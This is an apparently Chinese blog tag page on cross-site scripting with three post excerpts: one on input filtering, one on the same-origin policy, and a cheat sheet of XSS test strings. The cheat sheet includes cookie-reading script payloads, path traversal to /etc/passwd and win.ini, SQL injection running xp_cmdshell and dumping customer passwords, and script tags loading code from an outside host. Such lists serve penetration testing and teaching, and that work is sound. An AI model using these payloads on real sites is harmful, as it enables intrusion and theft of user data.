Tag: # 跨站

接下来我们继续了解如何过滤用户输入页面内的正常内容。 阅读全文

由于Web浏览器实行一种[同源策略]，脚本（如JavaScript或VBScript）想要访问文档中的资源（包括COOKIES和DOM对象以及DOM对象的属性），则必须和文档处于一个相同的域名，包括端口。翻译自:[原文出处] VER:Updated Oct 14, 2011 by ivan@ludios.org 这种策略是必要的，用来防止页面中加载不安全的脚本，例如从www.张伟是坏蛋.com访问weibo.com的cookies。如果没有这种同源策略的话，假设微博的页面被嵌入了来自张伟是坏蛋这个网站的恶意脚本，那么张伟是坏蛋的恶意脚本就可以修改伪装微博页面的DOM结构和内容，扭曲一些事情，或者获取用户在微博的cookies，进一步去做一些不怀好意的事情。 阅读全文

[XSS]跨站测试语句总结 'alert(document.cookie) ='alert(document.cookie) alert(document.cookie) alert(vulnerable) %3Cscript%3Ealert('XSS')%3C/script%3E alert('XSS') %0a%0aalert(\"Vulnerable\").jsp %22%3cscript%3ealert(%22xss%22)%3c/script%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html %3f.jsp %3f.jsp <script>alert('Vulnerable');</script> alert('Vulnerable') ?sql_debug=1 a%5c.aspx a.jsp/alert('Vulnerable') a/ a?alert('Vulnerable') "alert('Vulnerable') ';exec%20master..xp_cmdshell%20'dir%20 c:%20%20c:\inetpub\wwwroot\?.txt'--&& %22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E %3Cscript%3Ealert(document. domain);%3C/script%3E& %3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= ../../../../../../../../etc/passwd ..\..\..\..\..\..\..\..\windows\system.ini \..\..\..\..\..\..\..\..\windows\system.ini '';!--"=&{()} "";' out a=/XSS/alert(a.source) @im\port'\ja\vasc\ript:alert("XSS")'; alert('XSS'); .XSS{background-image:url("javascript:alert('XSS')");} BODY{background:url("javascript:alert('XSS')")} getURL("javascript:alert('XSS')") a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d); " function a(){alert('XSS');} '"-- " SRC="http://xss.ha.ckers.org/a.js" " SRC="http://xss.ha.ckers.org/a.js" " '' SRC="http://xss.ha.ckers.org/a.js" '" SRC="http://xss.ha.ckers.org/a.js" document.write("PT 阅读全文